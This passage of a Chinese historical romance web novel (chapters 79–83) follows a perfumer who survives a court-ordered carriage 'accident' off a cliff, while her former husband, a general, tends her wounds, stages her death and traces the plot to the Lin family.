闻言,林皇后绷紧的神色舒展了些,看着他道:“那苏氏,你打算如何处置?虽说她娘早死了,可我还是不放心,她这模样,实在与那个女人太像,况且,她又会制只有那个女人会做的香,我想着,会不会那女人以前根本没死,她出了宫成了亲,生下了这个苏氏?”
萧昀若有所思地转了转掌中的冷玉扳指,眸中闪过一抹狠厉之色。
“既然母后担心,为防万一,杀了她以绝后患就是。”
林皇后沉吟片刻,拧眉点了点头,冷笑道:“我瞧着,自从有了那紫薇伴梦香,你父皇对景王倒是越发另眼相看了。如今你未登大宝,一切都还没定,那苏氏宁可错杀,不能放过。”
“只不过,她与景王走得近,又是裴将军的前妻,想要轻易地杀死她,又不引人注意,这一点,你要着人仔细谋划。”
萧昀勾唇笑了笑,眸中尽含轻蔑。
他那个皇弟萧祐不过是个只知道吃喝享乐,饮酒赏香的草包而已,没什么好担心的。
至于裴将军,他之前虽是金吾卫上将军,却不为东宫所用,林家不过略施小计,他便被贬官削爵,如今不过是个未赴边境上任的五品武官,更不值一提了。
倒是那苏氏才貌绝色,若是这样白白香消玉殒,实在让人觉得可惜。
第79章 第79章她的神色突然变了。
一场春雨淅淅沥沥下了半夜。
晚间入睡时还梦见桃花坞那盎然绽放的绯红桃花,再睁开眼时,院里的紫薇花也悄然尽绽,枝头覆着晶莹的雨珠,花香四溢。
若有所思地望着那些紫薇花,想到在桃花坞时景王殿下说的话,苏云瑶下意识摩挲着手腕的绿玉镯,微微有些发怔。
她原以为,紫薇伴梦香安神助眠,不过略有些治疗头疼的效用,没想到,皇帝用了这味香,多年的头疼顽疾竟治愈了大半。
她擅长制香,却并不精通医理。
本以为这熏香不过是娘亲以前独特的喜好,现在细细想来,她不由得怀疑,这味香,也许一开始并非是娘亲为她自己而制,真正适合用它的人,而是那位高高在上、手握别人婚嫁与生死大权的皇帝。
心中五味杂陈,苏云瑶一时有些失神。
院里突然响起沉稳的脚步声,蓦然拉回了她的思绪。
转眼间,裴秉安一手端着热气腾腾的汤碗,大步流星地走了进来。
从桃花坞回来,这两日,他的咳疾也好得差不多了,可却没有半点要离开的意思,反倒清晨一早便神神秘秘地去了厨房,在里面独自呆了半晌,亲手熬了碗汤,给她送了过来。
“八珍汤,取八味药材,还放了你爱吃的红枣,坚持服用可以治愈眩晕之症,”他将黑褐色的药汤放到苏云瑶面前,沉声道,“喝吧。”
提到八珍汤,便想到了八珍蜜枣丸,苏云瑶下意识捏了捏早已空瘪的荷包,眸底闪过一抹失落。
“你怎么知道八珍汤可以治我的病?”她没有抬头看他,而是目不转睛地盯着那汤碗,似乎透过那平静而温热的汤药,回想起了以前的事。
一只白色的调羹贸然放进碗中。
汤面泛起道道涟漪,裴秉安一丝不苟地沿着同个方向搅动几下,又有条不紊地朝着反向转了几圈,待汤药温凉了些许,才将调羹递给她。
“以前找大夫给你看过,只是当时没来得及给你熬药,”他顿了顿,不太想再提及和离之时的事,黑沉眼眸盯着眼前的人,沉声叮嘱道,“只要我在这里,便会为你熬药,若是我以后外出赴任,就交于厨娘给你熬,记得每日坚持服用,三个月后便可以痊愈了。”
苏云瑶看了他片刻,没说什么,微微点了点头。
他外出赴任,想必也快了,左右呆在苏宅的时间不会太久,看在他好心为她熬药的份
上,她便不去计较他在这里多住一日还是少住一日。
“苦吗?”她一向不爱喝苦药,这药黑乎乎的,看上去味道便不怎么样。
裴秉安没作声,唇角却悄然勾了起来。
一提到喝药,她的眉头便拧成一团,恨不得捏着鼻子让他赶快将药端走,是少见的任性模样,甚是可爱。
“我在里面放了青梅与红枣,不减药效,味道酸甜,你尝尝。”
苏云瑶怀疑地看了看他,又看了看那汤药:“真得吗?你不是在哄我?”
“自然不是,喝一口你便知道了,若是不好喝,我重新去给你熬。”裴秉安正色道。
纠结了片刻,终是将那碗汤药移到自己面前,犹犹豫豫地拿起调羹抿了一小口,苏云瑶的眼神忽然一亮。
垂眸看着她脸上的惊喜,裴秉安眸底亦闪过笑意。
不一会儿,一碗八珍汤见了底,苏云瑶拿绣帕擦了擦唇,一双清澈的杏眸盯着眼前的人,还有点意犹未尽的意思。
裴秉安道:“觉得好喝,也不许多喝,一日一次,一次一碗。”
这厮遵照医嘱行事,半点不肯通融,苏云瑶抿了抿唇,只好作罢。
说话间,裴秉安收了空碗,道:“待会儿我有事,要外出一趟,晚上你想吃什么,清蒸鲈鱼如何?”
苏云瑶一噎,不可思议地看着对面的人。
若是在以前,她实在难以想象这样的话会从他嘴里说出来,可偏偏他此时表情淡定如常,仿佛这是再寻常不过的一件小事。
沉默片刻,看到他催促的眼神,苏云瑶一言难尽地点点头:“好。”
他要外出,她亦有自己的安排。
今日雨过天晴,碧空如洗,紫薇伴梦香需要春日初绽的紫薇花,而最适合入香的,莫过于京都城郊灵山脚下绵延数里、清香持久的紫薇花。
凝香坊中所需的香料,有些也购自灵山脚下的花棚中,那个地方,她再熟悉不过。
趁着今日天气大好,铺中无事,她便打算亲自去一趟。
苏宅的车夫姓陈,管着宅中喂马与赶车的差事,只是,今早一起来,他觉得那膘肥体壮的黑马像是生了病,马槽中的食料没吃多少,整晚上都没精打采地卧在棚里休息。
“主子,马好像病了,今日不能让它出车了。”
苏云瑶亲去马棚看了看。
黑马一见她进来,便打着响鼻想站起来,她轻轻抚摸了几下它的脊背,温声细语说了几句什么,黑马便嘶嘶鸣叫几声躺回了原处。
“去请兽医来瞧瞧,莫让它吹风受了凉。”
叮嘱了车夫几句后,她去车行另赁了一辆马车。
赁来的马车,连车夫带马车都是车行的,车夫是个个子矮小瘦弱的年轻男子,相貌平平无奇,扔到人堆中也是最不起眼的那种。
“这位姑娘,你们要出城吗?”男子开口说话时,低沉的嗓音像破锣般粗哑难听。
他的声音特殊,苏云瑶不禁多打量了他几眼,“是的,你以前可赶过马车?”
男子用力拍了拍胸脯,卖力举荐自己。
“我赶车最稳了,整个车行的人,都不如我赶车赶得好。”
闻言,那车行的掌柜走过来,笑着道:“姑娘,你尽管放心让他赶车,他要是赶车不稳当,回来我把赁钱如数还给你!”
有车行的掌柜作保,苏云瑶便没再多问。
带着青桔登上马车后,那车夫按照吩咐扬鞭行车,马车不快不慢地向前行去,遇到坑洼之处也没有颠簸之感,可见这车夫果真是个赶车的熟手,苏云瑶便慢慢放下心来。
从校尉胡同到城郊的灵山,需要大半个时辰的路程,马车从熙熙攘攘的城中驶出,不疾不徐地驶向人迹逐渐稀少的城郊大道。
马车里,靠在车璧上随意地翻阅着手里不知看了多少遍的话本子,苏云瑶突然秀眉拧起,神色微微变了。
不知是不是她的错觉,就在方才,那本来平稳行驶的马车,速度没来由得加快了许多。
第80章 第80章一滴热泪砸到了她的脸上……
劲风从车畔呼啸而过,厚厚的暗云遮蔽了日光。
马车陡然加速,拉车的枣红色高头大马突然疯了般扬蹄向前狂奔,异常突兀高亢的嘶鸣声回荡在人迹罕至的山林间,惊起枝头鸟雀惊慌失措地扑棱棱飞向远处。
沉重凌乱的马蹄声如催命的战鼓擂起,这番不同寻常的动静早已惊动了车内的人。
在青桔惊慌的大呼小叫声中,苏云瑶抓紧车壁上的扶手稳住身形,秀眉紧拧成一团。
“怎么回事?”
她沉声高喝,问那车夫,马车颠簸着往前奔跑,隔着一扇车门,隐约看到车夫正努力地扯紧缰绳,似乎想要让疯马听话地停下来。
“姑娘,不知道怎么回事,你们且坐稳了,我会让它停下来的。”男人听上去十分镇定地开口,嗓音仍然如破锣般粗哑。
听到他的话,苏云瑶并没有放下心来,山脚下崎岖陡峭的山路从窗旁接连而过,她的脸色不由变白了几分。
她自小便跟爹爹学会了骑马,对马儿的习性有所了解。
眼下这匹马突然失控疯跑,原因不一而足,有可能是突然受到疼痛难忍的外伤,比如说马蹄扎进了铁钉,也有可能是吃了有毒的料草,又或者,此地对它来说太过陌生,因而产生了不安与恐惧。
可不管是什么原因,若不能及时让马车停下来,他们很可能面临车翻人亡的危险。
可眼下这马难以控制,想要降服绝非易事,看着那马突然一撂蹄子,要朝丛林深处跑去,苏云瑶当机立断吩咐道:“快,砍断缰绳,放马离开!”
若是砍断了缰绳,她们的马车兴许会翻车,车内的人也许会受伤,可总不会有性命之忧。
若是任由这疯马慌不择路地四处狂奔,她们只怕连命都会丢了。
两害相权取齐轻,那车夫应该也懂得这个道理,可谁知这话说完,扯紧缰绳的车夫像是根本没听见一般,反而扬起鞭子,狠狠往马屁股上抽了一下。
苏云瑶惊愕地瞪大眼睛,还没开口,那车夫的身子却突然晃了几晃,像是手脚失去了力气似的,从车辕上滚了下去。
扑通一声,是重物落地的声音。
马车很快将车夫甩到了身后,崎岖山路两旁是荆棘遍布的密林,也不知他掉下去后是死是活。
眼下没了车夫,疯马更像没头苍蝇似地循着山路往前跑去,转眼间,方才还人迹罕至的逼仄小路竟豁然开朗,前面的山坡平坦而空旷。
然而,还没等苏云瑶紧绷的心松懈半分,青桔已害怕得高声叫嚷起来:“小姐,悬崖,前面是悬崖!”
疯马没有丝毫停下的迹象,马车冲到悬崖之旁的短短几息,车门被车里的人一脚用力踹开。
苏云瑶紧拥着青桔从车中一跃而下,两个纤细的身影不受控制地滚落在地。
巨大的冲势没被消去,车马坠崖的瞬间,两人一前一后如山石般翻滚到了旁边的密林中,沉闷吃痛的声音被砰得一声巨响盖住,不知最终停到了哪里。
过了不知多久,四周恢复如常的寂静后,山崖上出现了几个蒙面的黑衣人。
他们循迹向下看去。
那车马早已跌入深不见底的山崖,就算车里的人坠崖时还活着,此时也绝不会再有任何生还的机会。
这起意外的祸事天衣无缝,那车里的人死前绝对不会明白自己是死于一场精心的谋划。
几个黑衣人彼此得意地对视一眼,悄然无声离开,没留下任何痕迹。
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日头西斜时,见过两个属下之后,裴秉安提着一尾新鲜的鲈鱼回了苏宅。
军粮一案没有彻查,事情的真相并没有水落石出,这事虽不属于他的职责范围,但事关边境安稳,他已私下着雷震虎与吴靖去查林转运使的亲友关系,看能否顺藤摸瓜,找到指使他贪腐军粮的背后主谋。
只是到了院内,却不见云瑶回来,问过那车
夫,才知家里的黑马生病,她与青桔赁车去了城郊灵山采紫薇花。
厨娘看他买了鲜鱼,便接过来放到水盆里养着,“裴大人,这鱼是现在做,还是等主子回来再做?”
裴秉安沉思片刻,道:“等会儿吧。”
话音落下,他已大步流星地迈出宅门,拍马离开了校尉胡同。
两刻钟后,青骓顺着灵山旁边的青石板路疾驰而过,浓密的山林人迹越来越少,却始终不见苏云瑶主仆的身影,裴秉安的神色愈来愈沉凝。
直到策马越过一片平坦的山坡,赫然看到青草地上凌乱的马蹄印与车辙痕迹时,他立即勒马停下,循着车痕向前走去。
前方是高约数丈的断崖,崖底草木郁郁葱葱,隐约可见断了一半的车轱辘挂在松树顶上。
风一吹,颤颤巍巍地摆动几下后,沉闷而微小的扑通声响起,犹如巨大平静的湖面投入一颗石子,轱辘碎裂在崖底,之后便不见任何踪迹。
“云瑶——”
干哑而发颤的声音回荡在山崖间,无力地消散在冷风中。
“云瑶,云瑶——”
裴秉安不敢置信地盯着山崖,眸底一片赤红。
战场上刀斧加身,也从没有过半分情绪波澜的刚毅男儿,第一次因为她出意外,而几乎肝胆俱裂。
饶是心痛难言,他还是很快回过神来,强迫自己冷静些许。
坠入崖底未说不定还有一线生机,只要她还能睁开眼睛,只要她还有一口气在,他就一定把她救回来
他以藤蔓做绳,正打算攀着嶙峋峭壁荡入崖底时,细风拂过山林,树叶簌簌作响,夹杂着一声极其轻微的呼唤。
“裴秉安,我在这。”
短短一句话,苏云瑶几乎用尽了全身的力气。
浑身的骨头快要散架了,眼前阵阵发黑,若不是听到那熟悉的声音,深陷昏迷的她,尚不会这么快醒来。
她不知道自己身处何处,只看到四周是茂密的灌木,眼前是成荫的低矮绿枝,林中一片死寂,只有她因吃痛而发出的轻嘶声。
沉稳的脚步声倏然靠近,裴秉安拂开重重屏障,大步朝她走来。
他耳力敏锐,她气息微弱的声响,也没有逃过他的耳朵。
从山顶摔下的人侥幸捡回了一条命,此时虚弱而无力地躺在灌木丛中,因为滚落时撞到了山石,又被灌木荆棘划伤了肌肤,而一时头脑昏沉,浑身无力,不能动弹。
看到她还活着,裴秉安几乎喜极而泣。
但却不知她的骨头是否断了,而不敢将她紧紧抱在怀里。
“云瑶,你怎么样,有没有受伤?”
一滴热泪砸到了脸上,苏云瑶虚弱地睁大眼睛,抬头看了看晴朗的天空,又看了看他赤红的眼睛,缓缓笑了笑。
“我没事,”她抬起手指摸了摸他的脸,掌心贴着他的脸颊,轻声道,“幸亏你来了。”
她流了血,浑身都是疼的,还不知道脏腑是否受损,若是他不来的话,万一她在这荒山野岭里烧热不退,只怕难挨过一晚。
裴秉安温热的大掌覆住她纤细的手指,沉声道:“不要怕,我先带你去看大夫。”
苏云瑶没有马上应下,而是轻轻握了握他的长指,示意他先去别处找找青桔,“她同我一起从山坡滚下来,应该就在不远处。”
裴秉安点了点头,却不肯独自离去,像是生怕几息看不到她,她便会丢了性命似的,无论怎样,也不许她一人留在这里,
他伸出大手探了探她的腿脚与手臂,确认她没有骨伤之后,便抄起她的膝弯,将人打横抱了起来。
如苏云瑶所言,青桔落在了她三丈开外的地方。
不过她比她的小姐幸运,苏云瑶抱着她跳出车厢时护紧了她,把自己当成了她的肉垫,青桔没受什么皮外伤,只是脑袋磕了一下昏迷过去,裴秉安掐过她的人中,她醒后不久,便活蹦乱跳与平常无异了。
她们车马坠崖的原因,裴秉安此时无心去细究。
怀里的人还受着伤,前胸后背渗出的血迹几乎将衣襟都染红了,他没有再耽误片刻,抱紧了她坐上马背,便一夹马腹向最近的医堂奔去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
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第81章 第81章上药。
酉时,深蓝暮霭逐渐笼罩大地。
一骑快马穿过空寂的街道,急促的拍门声回荡四周,惊飞角落悠闲觅食的鸟雀。
半刻钟后,为苏云瑶看诊过,胡须花白的老大夫皱眉看向裴秉安,再次劈头盖脸地数落起来……
“你这个当丈夫的,怎么竟让娘子受这么多外伤,你皮糙肉厚倒是没伤到一星半点儿,你娘子可是吃了苦头。”
策马来到医堂的路上,苏云瑶又昏迷过去,失血过多的脸庞煞白如纸,杏色裙衫染上触目惊心的大片血迹,目前还没有任何苏醒的迹象。
裴秉安的眼睛紧盯着她的脸庞,白皙的额角渗出了细密的冷汗,一向波澜不惊的黑沉星眸,尽是担忧与紧张。
“大夫,她到底怎么样?可有受内伤?”
艰涩的嗓音干哑得像树梢干枯的黄叶,只要有些许承受不起的风吹草动,就会随时碎裂在冷风中。
老大夫捋捋胡须沉吟了许久,道:“脏腑应是无碍,虽看上去流了血,却都是些皮外伤,倒是容易恢复。不过,你娘子脑袋受外物撞击,神志不稳,兴许会遗忘一些事情,至于要过多久才能恢复,老夫尚不能下定论。”
裴秉安垂眸望着榻上昏迷的人,紧锁的剑眉终于舒展些许。
只要云瑶性命无忧,能安然无恙地醒来,他便放心了。
天色已晚,老大夫开了药便离开客栈,裴秉安吩咐伙计送了温水,将柔软的棉帕浸湿了,仔细得为她擦净手上干涸的暗红血迹。
滚落山坡时,她白嫩的掌心被荆棘划了几道深深的伤痕,擦拭干净她的手掌以后,他便将金创药倒在伤口处,用透气的细布将她的伤口裹缠起来。
温暖的昏黄烛火静谧无声地跳跃摇曳着,照亮这一方小小的空间。
苏云瑶掀开沉重的眼皮,入目是男人线条流畅的俊美下颌,视线稍稍移上几分,便看到紧抿的薄唇与高挺的鼻。
她的手指下意识动了动,极其细微的动作,没有逃过裴秉安敏锐的眼睛。
他倏然垂眸看向她,黑沉眸底霎时翻涌起一抹惊喜,不过仅仅瞬间,便被素来波澜不惊的情绪所取代,开口时,声音如往常般平静无波。
“醒了?”
苏云瑶轻轻嗯了一声,抬手时,发觉右手缠了厚厚的绷带。
她投了个疑惑的眼神,裴秉安笔直地端坐在榻旁,一双劲挺大手握拳置于膝上,沉声解释道:“你滚落山下的时候,右手被荆棘刺破,头也被撞了一下,身上”
他顿了顿,道:“你的衣裳被鲜血浸透,身上应该也有划伤,所幸脏腑没有受损,想来不日便能痊愈。”
苏云瑶无声轻舒口气,想要坐起来,只是刚下意识动了下手指,裴秉安便眼疾手快地扶住了她的胳膊。
她靠坐在床头,发现自己的外裳已经除去,白色的中衣血迹斑斑,稍微动一动身子,前胸后背的肌肤便传来灼热的刺痛。
听到她因吃痛发出的轻嘶声,裴秉安眉头紧拧,提醒道:“你身上的伤口,也需要上药才行。”
苏云瑶微微点了点头,神色却有些为难。
她右手受了伤,左手也
软绵绵地使不上劲,要上药,需得人帮忙才行。
“青桔呢?”她抿唇问道。
裴秉安道:“坠落山下之后,你伤情严重,青桔并无大碍,骑马带你来医堂之前,我已吩咐她自己先回去。”
说话间,他已转身将金创药取了过来,撩袍落座后,他沉默片刻,沉声建议:“客栈都是外人,交于旁人给你上药我不放心,你自己动手不便,还是我来吧。”
苏云瑶没作声,贝齿紧咬着唇,鸦羽似的长睫无措地眨了眨,白皙如玉的脸颊染上一抹羞窘的薄红。
“算了”
她刚想说她自己忍一忍,男人忽然起身,高大挺拔的身形毫无征兆地压了过来。
熟悉的如雪后青松般清冷的气息袭来,不知为何,没有讨厌他不注意分寸的靠近,苏云瑶的心跳,反而慌乱地快了几拍。
男人劲挺的大手扶住她的后脑,灵活的长指摸索扯住她的杏色发带,轻轻一拉,如瀑的柔软乌发流水般倾泻下来。
苏云瑶微微一愣,不知他到底要做什么,再转眸时,裴秉安已用发带严严实实地遮住了眼睛。
微风透过窗隙,暖黄的烛火跳跃着,他一身黑色长袍负手而立,杏色发带束在脑后,荡漾起轻微的弧度。
这似乎是个不错的办法,苏云瑶垂下长睫思忖了几息。
她是爱美的,一身肌肤雪白无瑕,自小长大都养护得极好,从没有留过什么疤痕,这次的伤口若不及时处理,伤痛不说,只怕还会留下疤。
爱美怕痛的想法很快占据了上风,她默然深吸口气,轻声道:“好。”
裴秉安撩袍坐在她的身畔。
回忆几瞬她的身形与衣着,便抬起大掌,自左肩往下,一一解开中衣的纽扣。
他的动作娴熟而准确,长指始终保持着克制的距离,苏云瑶的窘迫与尴尬稍稍减了几分。
不过,最后一颗纽扣解开,衣衫从肩头滑落,就算知晓面前的人捂住了眼睛什么也看不见,她的脸还是腾得热了起来,羞耻得几乎将唇都咬破。
庆幸得是,她低头看了看,除了锁骨下方有一道长而深的伤口,其他的都是些小口子,不必尽数都上药。
“锁骨下方二寸处,伤口长约五寸,很深,血迹还未干涸,先帮我擦洗伤口,再帮我上药。”
她抿唇吩咐过他这些话,便别过脸去盯着墙上的影子,不与他那张蒙着发带的脸相对。
裴秉安依言先用洗净的棉布擦拭了她的伤口,之后循着记忆将药粉倒在伤处,将细布拿了过来为她缠住伤口。
期间,他始终一言未发,神清沉凝,镇定如常,细布自后背绕到胸前时,他将多余的部分打了个简洁却好看的蝶结。
“好了吗?”他沉声开口,声音淡然无波。
苏云瑶狠狠咬紧了唇,闭眸深吸几口气。
药粉倒在伤口上,初始并没有产生止痛的作用,反倒是像被蛰了似的,一阵阵的刺痛接连起伏,疼得她白皙的额头渗出一层冷汗,发丝凌乱地贴在脸颊,唇都被咬破了些许。
平复了数息,她定了定神,唇齿间艰难地挤出几个字:“好了,多谢。”
裴秉安略一颔首,无声长舒了口气。
半刻钟的时间,他一直屏气凝神为她上药,独属于她的清淡香气始终萦绕在身侧,他也没有分心片刻。
不过,扯下眼前发带的瞬间,下意识看了她一眼,他的视线不由自主地凝在了她的唇上。
溢出的血珠儿凝涸在唇畔,嫣红的一点血迹,猛然触到以往榻上帐中的回忆,他饱满锋利的喉结剧烈地上下滚动了几下。
“云瑶,你好好休息。”撂下这句话,他便急忙起身大步走了出去。
过了许久,夜间的冷风勉强吹熄心头的燥热。
弦月高悬,寂然无声中,哒哒的马蹄声由远及近,副将雷震虎夤夜策马而来,一众金吾卫士兵策马紧随其后,腰间长刀折射出肃然清冷的光泽。
“大哥,大嫂如何了?”
接到传讯,雷副将便率兵前来,亲卫们总算见了许久没有现身的将军,纷纷抱拳拱手示意。
裴秉安看了眼晦暗的夜色,剑眉紧锁,神情沉冷。
因为伤到脑袋,苏云瑶只隐约记得坠落山坡之前,那车夫已被甩下了车,至于其他的细节,她已经记不清楚。
“搜索灵山坠崖的车马,找到那个车夫,活要见人,死要见尸。”他冷声吩咐道。
今日发生的事,绝非偶然,他要彻查到底,尽快揪出幕后真凶。
第82章 第82章莫名其妙的举动。
晨曦将至,东方天空泛起淡淡的鱼肚白时,几缕微光宛如薄纱般洒向窗隙,悄然唤醒了沉睡的人。
靠在床头,苏云瑶用力揉了揉额角,试图回忆起昨日意外的一切细节。
只是稍一费力思索,脑仁便隐隐作痛。
突然,咚咚咚的叩门声打破寂静,门外,男人低沉磁性的嗓音响起。
“云瑶,醒了吗?”
“醒了等一下。”
她起身下榻,没有先去开门,而是套上软鞋走到妆奁前,俯身对着镜子照了照自己的脸。
昨日受了外伤,所幸白皙如玉的脸颊没有丝毫划痕,只是唇色有些苍白。
她打开口脂盒子,白嫩的指腹沾了些绯红的口脂,想要涂在唇瓣上,好让自己看起来更有精神一些。
只是指腹还没碰到嘴唇,她的动作突然一顿,秀眉微微蹙了起来——不过是要见门外那人而已,两人再熟悉不过,她这么莫名其妙妆扮做什么?
迟疑一瞬,理智占据了上风,她忙拿绣帕仔细擦净了手指。
房门打开,一碗冒着热气的红豆粥先闯入了眼中。
男人骨节分明的劲挺大手稳稳端着白瓷碗,脸色如往常般沉冷无波,只是开门的瞬间,视线先在她缠着厚厚一层细布的右手处扫了一圈,才垂眸看向眼前的人。
“可好些了?”裴秉安沉声道。
苏云瑶轻轻点了点头,侧身让开些空间请他进来。
自昨晚坠落山坡之后,她还没有用饭,也没什么胃口,不过,看到他手中热腾腾的红豆粥,肚子里的馋虫一下便被勾了起来。
裴秉安将粥搁到桌上,她也没有客气,拿起调羹轻轻搅动了几下,待粥不热不凉时,便舀起一小勺放入口中。
细嚼慢咽尝了一口,她的眼神突然一亮。
她独爱吃香甜软糯的红豆粥。
这样的粥里要加糯米与红枣,熬起来也是要费功夫的,至少小火慢熬大半个时辰才行,客栈提供早食不假,只是这早食异常合乎她的口味,倒是令她有些惊喜。
“味道如何?”裴秉安道。
“不错,很好吃。”
听到她的夸赞,裴秉安微不可察地勾了勾唇角。
红豆粥是他亲手所熬,她喜欢吃,他很是高兴。
一碗粥很快见了底,肚子也吃饱了,苏云瑶心满意足地搁下了调羹。
见她已用完了饭,精神也比昨日好了许多,裴秉安拧眉沉思了几瞬。
亲卫查过她的车马坠崖之处,不过崖底只有车马痕迹,却不见那车夫的任何踪迹。
他命亲卫去审问车马行掌柜那车夫的姓名住处,才知那车夫提供的信息都是假的,甚至,车夫连容貌都经过了伪装。
她们主仆坠崖,行凶之人手段高明,是蓄谋已久的计划,目的便是要致云瑶于死地。
何种仇怨,会让对方对她有这么大的杀意?难道是她的生意太好,断了别人的财路,让对方起了杀心?
“最近凝香坊的生意可有竞争对手?”默然片刻,他开口问道。
闻言,苏云瑶马上摇了摇头。
自她离开裴家之后,凝香坊生意一直很好,虽说有同行嫉妒眼红,但并未生过什么事端,最近一切如常,除了
她抿紧了唇,神色微微变了。
除了她做了紫薇伴梦香,凝香坊中没什么变化,难道这一切与那香有关系?
不过她稍一用力深想,便觉得脑袋隐隐
作痛,她下意识摸了摸手腕上的绿玉镯,觉得自己应该去做一件事,却一时想不起来到底是什么事。
正在她蹙眉细想时,不知何时,裴秉安到了她身畔。
昳丽光线穿过窗隙,高大挺拔的身影与女子纤细的倩影交叠在一起,看上去像在亲密依偎。
“你头脑受了撞击,莫要想了,其他的事,我会查清的,你不要担心。”他垂眸沉沉看着她,温声宽慰。
距离近在咫尺,那双黑沉的眼眸犹如幽深的潭水,波澜不兴,平静无波,却像是有一道看不见的漩涡,让人不由自主得被它吸引住。
仰首定定地看着他,苏云瑶耳根一热,心脏忽然莫名其妙地狂跳起来。
短短几瞬,她忽然回过神来,忙移开了视线,不自在地抿了抿唇。
那老大夫的药效果很好,身上的伤口上了药,她已好转了许多,除了脑袋偶尔会隐隐有些作痛,右手的伤势尚未痊愈,其他已无大碍,不必再住在这里。
“我知道了,先回去吧。”
撂下这句话,她起身快步走向门外时,那一向气定神闲的姿态匆忙而慌乱,甚至迈过门槛时还踉跄了一下,看上去竟莫名有几分落荒而逃的意味。
到了房外,轻轻深吸口气定了定神,心跳平静如常时,苏云瑶懊恼得暗骂了自己一句。
一定是裴秉安那厮救了她,让她心存感激,以至于他最近每次靠近她时,她便有些莫名其妙的举动。
这种糟糕陌生的感觉,实在让她觉得心烦意乱。
第83章 第83章想见一个人。
马车辘辘而行,一路碾过青石板路的熹微晨光,靠近校尉胡同时却转了个弯儿,在一间不起眼的客栈外停了下来。
下车前,掀开窗牖处的帘子向外看了眼,苏云瑶不由一愣。
不是要回苏宅吗?怎么停在客栈门口了
还没等她开口,青山停稳了马车,在外面压低声音道:“大奶奶,将军吩咐了,让您先住在客栈,暂时不要回家。”
他是裴秉安的小厮,一时没改过口来,这个“大奶奶”的称呼很不合适,苏云瑶脸颊莫名微烫,提醒道:“青山,我早已经不是裴府的大奶奶了,你唤我苏娘子吧。”
主子叮嘱过,一切都要听大奶奶吩咐,青山忙拱手应了是,道:“苏娘子,外面人多眼杂,您戴上帷帽再下车吧。”
苏云瑶思忖片刻,微微点了点头。
这客栈外面看上去平平无奇,进去之后才发现别有洞天。
入门便是疏朗开阔的花园,荷塘流水潺潺,春花色彩缤纷,而最令她惊奇得是,从她所住的三楼客房里往外望去,苏宅乃至整个校尉胡同可以尽收眼底。
裴秉安选在这个客栈让她住下,定然不是无意为之,这客栈住房的位置,是个绝佳的盯梢苏宅的地方。
意外之余,苏云瑶浅浅弯唇笑了笑,眸底闪过一抹赞叹。
裴秉安暂时不让她回苏宅,她大约能明白他的深意,可他短短时间内便选了这样一个合适的住处,看来曾经身为金吾卫上将军,他着实对京都各处都了若指掌。
青山熟门熟路地吩咐客栈伙计送来热茶和点心,而后便心虚地低着脑袋退了出去。
大奶奶对这住处露出了满意的微笑,他一颗心却悄然紧绷着,生怕大奶奶多问一句将军为何会选这里住下——想当初,大奶奶与将军刚和离时,将军总是夤夜时分潜入苏宅,在屋顶默然枯坐一夜才回去,直到差点被夜间巡守的属下发现,将军才改为从这间客栈远眺苏宅,那个时候将军夜夜到这里来,能对这里不熟吗?
青山离开,房内一时安静下来,苏云瑶推开窗子看了看,这住处的四周有身着便衣的亲卫巡守,等闲人不能靠近,客栈很是安全,她暂时不必担心什么。
只是视线在客栈内扫了一圈,尔后凭窗向另一侧看去时,她差点哑然失笑。
苏宅的门外挂起了白灯笼,青桔穿着一身白色孝衣站在门口,邻里听说了她坠崖身亡的事,纷纷前来吊唁,青桔那丫头抹着眼泪嚎啕大哭,演技竟十分逼真。
坠车时的意外不是偶然,那车夫没了踪影,想要尽快找出打算杀她的凶手没那么容易,裴秉安另辟蹊径,干脆做足了她坠崖身亡的假象,好让对方放松警惕,露出马脚。
苏云瑶坐在靠窗的美人榻上,揉了揉隐隐作痛的额角。
脑袋受到的撞击之后,好像遗忘了一件十分重要的事,可无论她怎么用力去想,却什么都想不起来。
想不起来,她便索性不去想了,住在客栈里做个隐形的人,倒是一段难得的闲暇时光。
她的视线凝在碟中的蜜饯上,糖渍樱桃,蜂蜜酸梅,杏干桃脯,都是她爱吃的。
咬一口,酸甜适中的味道在舌尖弥漫,悄然沁入肺腑。
~~~
行凶的车夫下落不明,裴秉安很快将目光投向了另一个线索。
苏云瑶去灵山采摘紫薇花那日,先是因为苏宅的黑马生了病不能赶车,才另去车马行赁车出行。
由此看来,意欲行凶的人不仅知道她的行踪,还笃定她的马会生病,所以才早就潜在车马行等待。
“大人,近日家里的草料全都在这里了。”
抱来草料,陈老大心酸自责地抹了抹眼睛。
他在苏家赶了大半年车了,主子为人和善大方再好不过,谁知竟出了意外身亡,若是那日由他赶车,无论如何不会发生这种事,都怪他疏忽大意,没照料好家里的马。
黑马常吃的料草是燕麦、青草与豆饼,那燕麦青草都是陈老大亲自去坊中集市上买的,惟有豆饼是从一个走街串巷的小贩那里买来的。
裴秉安拧眉扫了眼那些豆饼,道:“那小贩你可还认得?他可常来这里?”
陈老大凝神回忆了一番,道:“他不常来,不过我记得很清楚,他嘴边有颗黑痦子,见了他我便能认出他来。”
裴秉安立掌挥了挥手,立时便有亲卫自暗处走来,带着陈老大去见画师,好将那小贩的模样画下。
没多久,画像画完之后,亲卫们立刻带着画像,挨家挨户去搜寻小贩的下落。
酉时,暮色四合,雷震虎拿了人,审问过后,来向裴秉安复命。
“大哥”
他蒲扇大的手掌挠了挠头,一副苦恼不解且十分纠结的模样,裴秉安锐利的眼神瞥向他,沉声道:“老三,有话直说,不必有顾虑。”
雷震虎下定决心似地握了握拳头,道:“大哥,那人是是林相长子林启盛的人。”
话音落下,裴秉安剑眉倏然拧了起来。
“确定是他的人?”
雷震虎重重点了点头,“没错,那人一五一十都招了,他们受林公子指使,想要害死大嫂。”
沉思片刻,裴秉安未置可否。
林相为文臣之首,又是太子外祖林氏一族近亲,军粮一案,皇上曾交于太子彻查,结果却只是惩处了一个转运使便不了了之,事情的真相到底如何,他还在暗中探查,没想到,林氏竟会对云瑶不利。
想到御书房中那香雾袅袅的紫薇伴梦香,裴秉安幽深的眸色不禁暗了几分。
指使人杀害云瑶,这到底是林氏的意思,还是东宫的意思?
默然许久,他拧眉看了眼晦暗的天色,道:“给林大公子下个帖子,明天我请他在醉香楼饮酒。”
~~~
夜色悄然而至,一盏悠亮的灯烛驱散满室暗色。
靠在窗旁的美人榻上,苏云瑶蹙眉盯着跳跃的暖黄烛火,下意识转动着手腕上的绿玉镯。
因她出了意外,那紫薇伴梦香是定然做不成了,听景王殿下说过,皇上有了这味香,头疼的痼疾已好了很多,如果没有了这味香,皇上是不是又会犯老毛病?
